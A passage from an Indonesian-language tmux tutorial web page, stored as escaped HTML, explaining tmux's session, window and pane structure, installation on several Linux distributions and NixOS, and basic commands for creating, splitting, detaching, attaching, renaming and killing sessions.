setiap window menempati seluruh layar terminal dan dapat di-&lt;em&gt;split&lt;/em&gt; ke banyak pane. Setiap pane akan menjalankan proses shell-nya masing-masing.&lt;/p&gt;&lt;p&gt;Perhatikan ilustrasi berikut agar lebih mudah memahami ketiga level hirarti &lt;code&gt;tmux&lt;/code&gt; tersebut:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://excalidraw.com/?element=twqINaXD8M_8laytnaTKd&quot; target=&quot;_blank&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;figure&gt;&lt;a href=&quot;https://excalidraw.com/?element=twqINaXD8M_8laytnaTKd&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;tmux 3 level hierarchy. Created with: [excalidraw.com]&quot; loading=&quot;lazy&quot; width=&quot;2196&quot; height=&quot;1101&quot; src=&quot;/_astro/ss1.Bc29Rtvg_ZMbH7A.webp&quot; /&gt;&lt;figcaption&gt;tmux 3 level hierarchy. Created with: [excalidraw.com]&lt;/figcaption&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Dalam kenyataannya, nanti bentuk &lt;code&gt;tmux&lt;/code&gt; adalah seperti ini [&lt;strong&gt;click image to enlage&lt;/strong&gt;]:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://excalidraw.com/?element=6mrlXJCaZFXZBwSftgzXb&quot; target=&quot;_blank&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;figure&gt;&lt;a href=&quot;https://excalidraw.com/?element=6mrlXJCaZFXZBwSftgzXb&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Session, Window, and Pane on tmux. Created with: [excalidraw.com]&quot; loading=&quot;lazy&quot; width=&quot;2313&quot; height=&quot;1314&quot; src=&quot;/_astro/ss13.DyEqoicf_Z1NNFj0.webp&quot; /&gt;&lt;figcaption&gt;Session, Window, and Pane on tmux. Created with: [excalidraw.com]&lt;/figcaption&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Website dokumentasi resmi &lt;code&gt;tmux&lt;/code&gt;: &lt;a href=&quot;https://tmux.app/&quot; target=&quot;_blank&quot;&gt;https://tmux.app/&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Repository Github resmi &lt;code&gt;tmux&lt;/code&gt;:&lt;/p&gt;&lt;a href=&quot;https://github.com/tmux/tmux&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;tmux&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;tmux&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Installation&lt;a href=&quot;#installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Berikut adalah cara meng-&lt;em&gt;install&lt;/em&gt; &lt;code&gt;tmux&lt;/code&gt; di beberapa sistem operasi UNIX/Linux:&lt;/p&gt;




























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install -y tmux&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy tmux&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install tmux&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install tmux&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;FreeBSD&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pkg install tmux&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;NixOS:&lt;/strong&gt;&lt;br /&gt;
Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;tmux&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;tmux&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Usage&lt;a href=&quot;#usage&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Berikut adalah cara menggunakan &lt;code&gt;tmux&lt;/code&gt;.&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;code&gt;Ctrl+b&lt;/code&gt; adalah tombol pemicu utama (&lt;em&gt;prefix&lt;/em&gt;) di &lt;code&gt;tmux&lt;/code&gt;.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;section&gt;&lt;h3&gt;Quickstart&lt;a href=&quot;#quickstart&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;section&gt;&lt;h4&gt;Starting &lt;code&gt;tmux&lt;/code&gt;&lt;a href=&quot;#starting-tmux&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Untuk menjalankan &lt;code&gt;tmux&lt;/code&gt;, kita hanya perlu mengetikkan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;tmux&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Maka, &lt;code&gt;tmux&lt;/code&gt; akan membuat sesi baru dengan default nama sesuai urutan angka. Jika kita pertama kali membuka &lt;code&gt;tmux&lt;/code&gt;, maka &lt;code&gt;tmux&lt;/code&gt; akan membuat sesi pertama dengan nama 0.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Kita dapat melihat sesi tmux yang aktif (berikut dengan jumlah window-nya) dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;tmux&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ls&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;tmux new session&quot; loading=&quot;lazy&quot; width=&quot;1775&quot; height=&quot;629&quot; src=&quot;/_astro/ss2.xiXv_XyP_Z2wcnTs.webp&quot; /&gt;&lt;figcaption&gt;tmux new session&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Atau jika kita ingin membuka &lt;code&gt;tmux&lt;/code&gt; dengan nama sesi yang kita tentukan sendiri:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;tmux&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;new&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-s&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nama-sesi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;tmux new session with custom session name&quot; loading=&quot;lazy&quot; width=&quot;1879&quot; height=&quot;623&quot; src=&quot;/_astro/ss3.BJff4B1X_eEibY.webp&quot; /&gt;&lt;figcaption&gt;tmux new session with custom session name&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Atau misalnya kita ingin membuat sesi baru &lt;code&gt;tmux&lt;/code&gt;, tanpa langsung memasukinya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;tmux&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;new&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-d&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# untuk membuat sesi baru dengan nama default (menggunakan angka)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;tmux&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;new&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-s&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nama-sesi&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-d&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# untuk membuat sesi baru dengan nama custom&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;tmux new detached session&quot; loading=&quot;lazy&quot; width=&quot;1079&quot; height=&quot;785&quot; src=&quot;/_astro/ss9.DBM6t3-V_1HuhSo.webp&quot; /&gt;&lt;figcaption&gt;tmux new detached session&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Splitting Window&lt;a href=&quot;#splitting-window&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;2 cara men-&lt;em&gt;split&lt;/em&gt; window atau membuat panes di &lt;code&gt;tmux&lt;/code&gt;: &lt;strong&gt;vertikal&lt;/strong&gt; dan &lt;strong&gt;horizontal&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;1. Split vertically&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Berikut adalah &lt;em&gt;keybinding&lt;/em&gt; untuk men-&lt;em&gt;split&lt;/em&gt; window &lt;code&gt;tmux&lt;/code&gt; secara vertikal.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Ctrl+b&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;%&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;splitting vertically&quot; loading=&quot;lazy&quot; width=&quot;1078&quot; height=&quot;730&quot; src=&quot;/_astro/ss4.DWA9SYM1_10LNnm.webp&quot; /&gt;&lt;figcaption&gt;splitting vertically&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;2. Split horizontally&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Berikut adalah &lt;em&gt;keybinding&lt;/em&gt; untuk men-&lt;em&gt;split&lt;/em&gt; window &lt;code&gt;tmux&lt;/code&gt; secara horizontal.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Ctrl+b&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;splitting horizontally&quot; loading=&quot;lazy&quot; width=&quot;1078&quot; height=&quot;730&quot; src=&quot;/_astro/ss5.CBCbQFv__6SeaE.webp&quot; /&gt;&lt;figcaption&gt;splitting horizontally&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Panes Navigation&lt;a href=&quot;#panes-navigation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Cara berpindah antar panes:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Ctrl+b&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;→&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# ke pane yang ada di kanan&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Ctrl+b&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;←&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# ke pane yang ada di kiri&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Ctrl+b&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;↑&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;# ke pane yang ada di atas&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Ctrl+b&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;↓&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# ke pane yang ada di bawah&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Detaching Session&lt;a href=&quot;#detaching-session&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Ketika &lt;code&gt;detach&lt;/code&gt; (keluar dari &lt;code&gt;tmux&lt;/code&gt;), sesi &lt;code&gt;tmux&lt;/code&gt; yang kita tinggalkan akan tetap ada.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Ctrl+b&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;d&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;detaching&quot; loading=&quot;lazy&quot; width=&quot;1078&quot; height=&quot;730&quot; src=&quot;/_astro/ss6.CBG9WkTn_Z1f1K9i.webp&quot; /&gt;&lt;figcaption&gt;detaching&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Listing Sessions&lt;a href=&quot;#listing-sessions&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita juga bisa melihat daftar &lt;code&gt;tmux&lt;/code&gt; &lt;em&gt;session&lt;/em&gt; yang aktif dengan perintah berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;tmux&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ls&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;listing tmux active sessions&quot; loading=&quot;lazy&quot; width=&quot;1078&quot; height=&quot;730&quot; src=&quot;/_astro/ss7.BoGUk6iL_28geH2.webp&quot; /&gt;&lt;figcaption&gt;listing tmux active sessions&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Attaching Session&lt;a href=&quot;#attaching-session&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Ketika sudah &lt;em&gt;detach&lt;/em&gt;, dan kita ingin masuk lagi ke sesi &lt;code&gt;tmux&lt;/code&gt; tertentu, gunakan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;tmux&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;attach&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-t&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nama-sesi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;attach&quot; loading=&quot;lazy&quot; width=&quot;1078&quot; height=&quot;730&quot; src=&quot;/_astro/ss8.H3u56DwT_Z7c7Ns.webp&quot; /&gt;&lt;figcaption&gt;attach&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Renaming Session&lt;a href=&quot;#renaming-session&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita juga bisa mengganti nama sesi &lt;code&gt;tmux&lt;/code&gt; yang sudah kita buat sebelumnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;tmux&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rename&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;session&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-t&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nama-lama&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nama-baru&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;renaming session&quot; loading=&quot;lazy&quot; width=&quot;1079&quot; height=&quot;785&quot; src=&quot;/_astro/ss10.CQbY8cvt_Z2tr5pM.webp&quot; /&gt;&lt;figcaption&gt;renaming session&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Deleting Session&lt;a href=&quot;#deleting-session&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Untuk menghapus sesi tertentu:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;tmux&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;kill-session&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-t&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nama-sesi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;deleting session&quot; loading=&quot;lazy&quot; width=&quot;1079&quot; height=&quot;785&quot; src=&quot;/_astro/ss11.hpMm36FM_i1PkT.webp&quot; /&gt;&lt;figcaption&gt;deleting session&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Kill All&lt;a href=&quot;#kill-all&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Untuk menghapus semua sesi &lt;code&gt;tmux&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;tmux&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;kill-server&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;kill tmux server / kill all tmux session&quot; loading=&quot;lazy&quot; width=&quot;1077&quot; height=&quot;643&quot; src=&quot;/_astro/ss12.BDRHvkSw_Z4EYOJ.webp&quot; /&gt;&lt;figcaption&gt;kill tmux server / kill all tmux session&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Extra&lt;a href=&quot;#extra&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikut adalah penggunaan &lt;code&gt;tmux&lt;/code&gt; yang lebih lanjut (&lt;em&gt;advanced&lt;/em&gt;).&lt;/p&gt;&lt;section&gt;&lt;h4&gt;Creating Window&lt;a 